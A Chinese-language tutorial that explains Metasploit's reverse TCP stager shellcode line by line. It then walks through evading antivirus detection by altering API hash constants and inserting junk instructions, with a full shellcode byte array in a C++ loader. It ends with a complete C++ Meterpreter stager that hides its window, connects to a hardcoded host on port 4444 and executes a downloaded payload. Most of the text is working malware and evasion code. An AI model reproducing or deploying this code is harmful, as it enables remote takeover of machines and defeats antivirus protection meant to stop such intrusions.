分析MSF的ShellCode
1.Hash寻找系统API函数
由于ShellCode是没有PE结构的,无法通过导入表来调用系统的API函数,因此,这部分是一个通用的API调用函数,它可以根据给定的哈希值查找并调用相应的API。在查找API时,它会遍历已加载模块的列表以及每个模块的导出地址表。这个函数在Shellcode中非常重要,因为它可以让我们不用硬编码API函数地址,而是动态地查找和调用它们。
;-----------------------------------------------------------------------------;
; 作者: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容性: NT4 及更新版本
; 架构: x86
; 大小: 140 字节
;-----------------------------------------------------------------------------;
[BITS 32]
; 输入: 要调用的API的哈希和所有参数必须被推送到栈上。
; 输出: API调用的返回值将在EAX寄存器中。
; 破坏: EAX, ECX和EDX (像正常的stdcall调用约定一样)
; 未破坏: 可以期望EBX、ESI、EDI、ESP和EBP保持不变。
; 注意: 该函数假定方向标志已经通过CLD指令清除。
; 注意: 该函数无法调用已转发的导出项。
api_call:
pushad ; 保存所有寄存器给调用者,除了EAX和ECX。
mov ebp, esp ; 创建新的堆栈帧
xor edx, edx ; 将EDX清零
mov edx, [fs:edx+0x30] ; 获取PEB的指针
mov edx, [edx+0xc] ; 获取PEB->Ldr
mov edx, [edx+0x14] ; 从内存中按顺序获取模块列表的第一个模块
next_mod: ;
mov esi, [edx+0x28] ; 获取指向模块名称(Unicode字符串)的指针
movzx ecx, word [edx+0x26] ; 将ECX设置为要检查的长度
xor edi, edi ; 清除EDI,它将存储模块名称的哈希值
loop_modname: ;
xor eax, eax ; 将EAX清零
lodsb ; 读取名称的下一个字节
cmp al, 'a' ; 一些版本的Windows使用小写模块名
jl not_lowercase ;
sub al, 0x20 ; 如果是,就将其归一化为大写字母
not_lowercase: ;
ror edi, 0xd ; 将哈希值向右旋转
add edi, eax ; 添加名称的下一个字节
dec ecx
jnz loop_modname ; 循环,直到读取了足够的字节
; 现在我们已经计算出了模块哈希
push edx ; 为以后保存当前在模块列表中的位置
push edi ; 为以后保存当前模块哈希
; 继续迭代导出地址表,
mov edx, [edx+0x10] ; 获取此模块的基地址
mov eax, [edx+0x3c] ; 获取PE头
add eax, edx ; 添加模块的基地址
mov eax, [eax+0x78] ; 获取导出表的RVA
test eax, eax ; 测试是否没有导出地址表
jz get_next_mod1 ; 如果没有EAT,则处理下一个模块
add eax, edx ; 添加模块的基地址
push eax ; 保存当前模块的EAT
mov ecx, [eax+0x18] ; 获取函数名称的数量
mov ebx, [eax+0x20] ; 获取函数名称的RVA
add ebx, edx ; 添加模块的基地址
; 计算模块哈希 + 函数哈希
get_next_func: ;
test ecx, ecx ; 由于下面的随机jmp产生的较大偏移量而更改自jcxz
jz get_next_mod ; 当我们到达EAT的开始(我们向后搜索)时,处理下一个模块
dec ecx ; 减少函数名称计数器
mov esi, [ebx+ecx4] ; 获取下一个模块名称的RVA
add esi, edx ; 添加模块的基地址
xor edi, edi ; 清除EDI,它将存储函数名称的哈希值
; 并将其与我们要搜索的哈希值进行比较
loop_funcname: ;
xor eax, eax ; 将EAX清零
lodsb ; 读取ASCII函数名称的下一个字节
ror edi, 0xd ; 将哈希值向右旋转
add edi, eax ; 添加名称的下一个字节
cmp al, ah ; 将AL(名称的下一个字节)与AH(空值)进行比较
jne loop_funcname ; 如果我们没有到达空终止符,就继续循环
add edi, [ebp-8] ; 将当前模块哈希添加到函数哈希中
cmp edi, [ebp+0x24] ; 将哈希与我们要搜索的哈希进行比较
jnz get_next_func ; 如果我们没有找到它,就去计算下一个函数哈希
; 如果找到了,则修复堆栈,调用函数,然后返回值,否则计算下一个...
pop eax ; 恢复当前模块的EAT
mov ebx, [eax+0x24] ; 获取序数表的RVA
add ebx, edx ; 添加模块的基地址
mov cx, [ebx+2ecx] ; 获取所需函数的序数
mov ebx, [eax+0x1c] ; 获取函数地址表的RVA
add ebx, edx ; 添加模块的基地址
mov eax, [ebx+4*ecx] ; 获取所需函数的RVA
add eax, edx ; 将模块的基地址添加到获取函数的实际VA中
; 现在我们修复堆栈并调用所需的函数...
finish:
mov [esp+0x24], eax ; 用即将进行的popad覆盖旧的EAX值
pop ebx ; 清除当前模块哈
pop ebx ; 清除当前在模块列表中的位置
popad ; 恢复调用者的所有寄存器,除了被破坏的EAX、ECX和EDX
pop ecx ; 弹出调用者将要推送的原始返回地址
pop edx ; 弹出调用者将要推送的哈希值
push ecx ; 推回正确的返回值
jmp eax ; 跳转到所需的函数
; 现在我们会自动返回到正确的调用者...
get_next_mod: ;
pop eax ; 弹出当前(现在是上一个)模块的EAT
get_next_mod1: ;
pop edi ; 弹出当前(现在是上一个)模块的哈希值
pop edx ; 恢复我们在模块列表中的位置
mov edx, [edx] ; 获取下一个模块
jmp next_mod ; 处理此模块
2.建立反向TCP连接
这部分是一个创建反向TCP连接的Shellcode。首先,它加载ws2_32.dll库以使用网络功能,并调用WSAStartup函数初始化Winsock。接下来,它创建一个TCP套接字,并尝试连接到指定的IP地址和端口。如果连接失败,它会尝试重新连接,直到成功或达到最大重试次数。连接成功后,它将套接字存储在EDI寄存器中,以便在后续的Shellcode中使用
;-----------------------------------------------------------------------------;
; 作者: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; 版本: 1.0 (2009年7月24日)
;-----------------------------------------------------------------------------;
[BITS 32]
; 输入: EBP必须是'api_call'的地址。
; 输出: EDI将是与服务器连接的套接字。
; 破坏: EAX、ESI、EDI、ESP也会被修改(-0x1A0)
reverse_tcp:
push 0x00003233 ; 将'ws2_32'、0、0的字节推送到堆栈上。
push 0x5F327377 ; ...
push esp ; 将指向"ws2_32"字符串的指针推送到堆栈上。
push 0x0726774C ; hash("kernel32.dll", "LoadLibraryA")
call ebp ; LoadLibraryA("ws2_32")
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; 为WSAData结构分配一些空间
push esp ; 将一个指向此结构的指针推送到堆栈上
push eax ; 将wVersionRequested参数推送到堆栈上
push 0x006B8029 ; hash("ws2_32.dll", "WSAStartup")
call ebp ; WSAStartup(0x0190, &WSAData);
push eax ; 如果成功,eax将为零,为标志参数推送零。
push eax ; 为保留参数推送空值
push eax ; 我们不指定WSAPROTOCOL_INFO结构
push eax ; 我们不指定协议
inc eax ;
push eax ; 推送SOCK_STREAM
inc eax ;
push eax ; 推送AF_INET
push 0xE0DF0FEA ; hash("ws2_32.dll", "WSASocketA")
call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
xchg edi, eax ; 保存套接字以备后用,不关心eax的值
set_address:
push byte 0x05 ; 重试计数器
push 0x0100007F ; 主机127.0.0.1
push 0x5C110002 ; family为AF_INET,端口为4444
mov esi, esp ; 保存sockaddr结构的指针
try_connect:
push byte 16 ; sockaddr结构的长度
push esi ; sockaddr结构的指针
push edi ; 套接字
push 0x6174A599 ; hash("ws2_32.dll", "connect")
call ebp ; connect(s, &sockaddr, 16);
test eax,eax ; 非零表示失败
jz short connected
handle_failure:
dec dword [esi+8]
jnz; 短跳转到try_connect标签处继续尝试连接
failure:
push 0x56A2B5F0 ; 硬编码为exitprocess以控制大小
call ebp
connected:
3.接收并执行命令
这部分主要用于接收和执行来自反向TCP连接的第二阶段Payload。首先,它调用recv函数接收第二阶段Payload的长度。然后,它使用VirtualAlloc函数分配一个具有执行权限的内存缓冲区,用于存储接收到的第二阶段Payload。接下来,它通过recv函数将Payload接收到分配的缓冲区。最后,它跳转到缓冲区的地址,执行接收到的第二阶段Payload
;-----------------------------------------------------------------------------;
; 作者:Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; 兼容性:Windows 7,2008,Vista,2003,XP,2000,NT4
; 版本:1.0(2009年7月24日)
;-----------------------------------------------------------------------------;
[BITS 32]
; 兼容性:block_bind_tcp,block_reverse_tcp,block_reverse_ipv6_tcp
; 输入:EBP必须是'api_call'的地址。EDI必须是套接字。ESI是堆栈上的指针。
; 输出:无。
; 修改:EAX,EBX,ESI,(ESP也将被修改)
recv:
; 接收第二阶段的大小...
push byte 0 ; 标志
push byte 4 ; 长度 = sizeof( DWORD );
push esi ; 在堆栈上的4字节缓冲区来保存第二阶段的长度
push edi ; 已保存的套接字
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, &dwLength, 4, 0 );
; 为第二阶段分配一个RWX缓冲区
mov esi, [esi] ; 解引用指向第二阶段长度的指针
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; 推入新接收到的第二阶段长度。
push byte 0 ; NULL,因为我们不在意分配的位置。
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; 接收并执行第二阶段...
xchg ebx, eax ; ebx = 新内存地址,用于存放新的第二阶段代码
push ebx ; 推入新第二阶段的地址,以便我们可以跳转到其中
read_more: ;
push byte 0 ; 标志
push esi ; 长度
push ebx ; 当前指向我们的第二阶段RWX缓冲区的地址
push edi ; 已保存的套接字
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
call ebp ; recv( s, buffer, length, 0 );
add ebx, eax ; buffer += bytes_received
sub esi, eax ; length -= bytes_received, 将设置标志
jnz read_more ; 如果还有要读取的内容,则继续
ret ; 跳转到第二阶段代码中执行
总结
第一部分(api_call)是一个通用API调用函数,用于动态查找和调用API。第二部分(reverse_tcp)创建一个反向TCP连接,将本地机器连接到攻击者的监听器。第三部分(recv)负责接收并执行第二阶段Payload。这三部分共同实现了一段完整的Shellcode,用于反向连接攻击者机器并执行远程指令
免杀实战
1.修改API函数的Hash值
在MSF ShellCode的第一段汇编指令中,有一个ror指令,其后接一个立即数,这个立即数十分重要。可以发现,在上述汇编指令中每一个api函数的hash值都是固定的,这种情况就很容易被杀毒通过排查特征码查杀掉,但是可以通过修改ror指令后面的立即数来改变api函数的hash值
可使用apihashreplace.py
脚本对MSF生成的二进制Shellcode文件进行修改ror指令后的立即数值,使用方法如下, 32位系统下的ShellCode就输入32,同理64位则输入64
python3 apihashreplace.py 32 1.bin
修改完后会在当前目录生成0x?.bin
,如下图所示
2.将ShellCode写入Cpp
使用winhex或者editor工具复制bin文件的十六进制内容至C++项目中, 如下代码所示,随后生成可执行文件
pragma comment(linker, "/section:.data,RWE")//对于内存的保护属性 可读可写可执行
//从Bin文件复制过来的ShellCode
unsigned char buf[] =
"\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0"
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x07\x01\xC7\x49\x75\xEF\x52"
"\x8B\x52\x10\x57\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4C"
"\x01\xD0\x8B\x48\x18\x8B\x58\x20\x01\xD3\x50\x85\xC9\x74\x3C\x49"
"\x8B\x34\x8B\x31\xFF\x01\xD6\x31\xC0\xC1\xCF\x07\xAC\x01\xC7\x38"
"\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE0\x58\x8B\x58\x24\x01"
"\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89"
"\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12"
"\xE9\x80\xFF\xFF\xFF\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F"
"\x54\x68\xd2\x53\x6e\xfc\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x9c\x13\x41\xc4\xff\xd5\x6a\x0a\x68\xc0\xa8\x2f"
"\x9b\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\x2c\x9b\xfc\xa4\xff\xd5\x97\x6a\x10\x56\x57\x68\xb6\x59\xc0"
"\x0e\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\xe8\xd9\xce\x36\xff\xd5\x83\xf8"
"\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68"
"\x9c\xed\x92\x66\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\xe8\xd9"
"\xce\x36\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a"
"\x00\x50\x68\x3e\xba\x17\xa3\xff\xd5\x57\x68\xe6\xfc\xe1\xe2\xff"
"\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xfc\xd3\xf4\x5e\x6a\x00\x53"
"\xff\xd5";
void main() {
__asm {
lea eax,buf
call eax
}
}
3.定位报毒特征码
生成的可执行文件很快就被火绒干掉了,使用工具Virtest5.0来查看哪处的特征码被查杀掉了, 此处我就不演示此款工具的使用方法了,在1ceb
偏移处有4个字节被查杀了,分别是FC A4 FF D5
将可执行文件放入OD调试, 通过偏移量或者特征码跳转至FC A4 FF D5
所在位置, FF D5
表示的汇编指令是call ebp
, FC A4
属于立即数0XA4FC982C
的一部分
4.修改报毒特征码
首先判断火绒查杀的是否是立即数的内容, 在ShellCode修改立即数的报毒部分, 此处我将\xa4
的值修改成了\xa1
, 修改完后火绒没有报毒
但是通过上述MSF的Shellcode组成部分可以得知, 这个立即数表示WSASocketA
函数的地址hash值, 也就是说这段内容修改了后ShellCode就会失效
于是采用第二个方法:加花指令。这里我用点简单花指令push eax
和pop eax
, 其对应的硬编码分别是\x50
和\x58
, 将花指令添加到立即数得后面, 即报毒特征码FC A4 FF D5
的中间
再次生成可执行文件后火绒不会查杀了, 而且msf也能正常上线
Meterpreter的C++版本
项目代码
include <WinSock2.h>
include <stdio.h>
pragma warning (disable: 4996)
pragma comment(lib,"WS2_32.lib")
include<windows.h>
int main(int argc, char** argv)
{
// 隐藏当前窗口
ShowWindow(GetForegroundWindow(), 0);
// 初始化 WinSock 并分配资源
WSADATA wsData;
if (WSAStartup(MAKEWORD(2, 2), &wsData))
{
printf("WSAStartup failed.\n");
return 0;
}
// 创建 socket 并连接到服务器
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
SOCKADDR_IN server;
ZeroMemory(&server, sizeof(SOCKADDR_IN));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("192.168.47.155"); // 服务器 IP
server.sin_port = htons(4444); // 服务器端口
if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&server, sizeof(server)))
{
printf("connect to server failed.\n");
goto Fail;
}
// 接收载荷长度
u_int payloadLen;
if (recv(sock, (char*)&payloadLen, sizeof(payloadLen), 0) != sizeof(payloadLen))
{
printf("recv error\n");
goto Fail;
}
// 分配内存空间以接收实际载荷
char* orig_buffer;
orig_buffer = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* buffer;
buffer = orig_buffer;
int ret;
ret = 0;
do
{
ret = recv(sock, buffer, payloadLen, 0);
buffer += ret;
payloadLen -= ret;
} while (ret > 0 && payloadLen > 0);
// 将参数传入并执行载荷
__asm
{
mov edi, sock; // 将 sock 存储在 edi 寄存器中
jmp orig_buffer; // 转移执行权至载荷,不要指望它返回。如果想要它返回,修改量比较大,不如把这个地方做成个线程,监听端设置退出时ExitThread更方便
}
// 释放内存空间
VirtualFree(orig_buffer, 0, MEM_RELEASE);
Fail:
// 关闭 socket 并清理 WinSock 资源
closesocket(sock);
WSACleanup();
return 0;
}
项目代码分析
1.主函数定义实现隐藏窗口
这里定义了主函数 main
,并使用 ShowWindow
函数隐藏当前窗口
int main(int argc, char** argv)
{
ShowWindow(GetForegroundWindow(), 0);
}
2.初始化WinSock
WSADATA wsData;
if (WSAStartup(MAKEWORD(2, 2), &wsData))
{
printf("WSAStartup failed.\n");
return 0;
}
这段代码初始化 WinSock 库并检查是否成功。如果失败,程序将输出错误信息并退出。
3.创建socket并连接服务器
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0); //这行代码使用 WSASocket 函数创建了一个新的 socket。参数 AF_INET 表示使用 IPv4 地址族,SOCK_STREAM 表示使用可靠的字节流套接字(TCP)。其他参数为0,表示使用默认的协议和选项
SOCKADDR_IN server; //定义服务器地址结构体
ZeroMemory(&server, sizeof(SOCKADDR_IN)); //清零服务器地址结构体
server.sin_family = AF_INET; //将服务器地址结构体的地址族设置为 AF_INET,表示使用 IPv4
server.sin_addr.s_addr = inet_addr("192.168.47.155"); //将服务器 IP 地址设置为 "192.168.47.155"。inet_addr 函数将点分十进制表示的 IP 地址转换为网络字节序的 32 位整数
server.sin_port = htons(4444); //将服务器的端口设置为4444,htons函数将主机字节序的整数(本例中为4444)转换为网络字节序的整数
//使用 connect 函数尝试连接到服务器。connect 函数接受三个参数:已创建的 socket,一个指向服务器地址结构体的指针(需要将其转换为 SOCKADDR* 类型),以及服务器地址结构体的大小。如果连接失败,connect 函数将返回 SOCKET_ERROR,然后输出错误信息并跳转到 Fail 标签进行资源清理
if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&server, sizeof(server))) //
{
printf("connect to server failed.\n");
goto Fail;
}
这部分代码创建了一个新的 socket,并设置服务器的 IP 地址和端口。然后尝试连接到服务器。如果连接失败,程序将输出错误信息并跳转到 Fail
标签
4.从服务器接收载荷(payload)长度
u_int payloadLen;
if (recv(sock, (char*)&payloadLen, sizeof(payloadLen), 0) != sizeof(payloadLen))
{
printf("recv error\n");
goto Fail;
}
这段代码接收服务器发送的载荷长度。如果接收失败,程序将输出错误信息并跳转到 Fail
标签
5.分配内存空间以接收实际载荷,并从服务器接收载荷
char* orig_buffer;
orig_buffer = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* buffer;
buffer = orig_buffer;
int ret;
ret = 0;
do
{
ret = recv(sock, buffer, payloadLen, 0);
buffer += ret;
payloadLen -= ret;
} while (ret > 0 && payloadLen > 0);
这部分代码首先分配足够的内存空间以接收实际载荷。然后,使用循环从服务器接收载荷,直到接收完毕
6.执行载荷
__asm
{
mov edi, sock;
jmp orig_buffer;
}
这段代码是用内嵌汇编编写的。它将 sock
的值移动到 edi
寄存器中,然后将执行权跳转到 orig_buffer
指向的内存地址。这意味着程序将开始执行接收到的载荷
7.释放内存空间以及处理失败的情况
VirtualFree(orig_buffer, 0, MEM_RELEASE);
Fail:
closesocket(sock);
WSACleanup();
return 0;
释放了之前分配的 orig_buffer
内存空间,若在前面的代码发生了错误,程序将跳转至这里,随后关闭socket和清理WinSock使用的资源
项目测试
在虚拟机运行的时候把Windows Defener关掉了,因为过不了动态查杀,但是静态还是能过的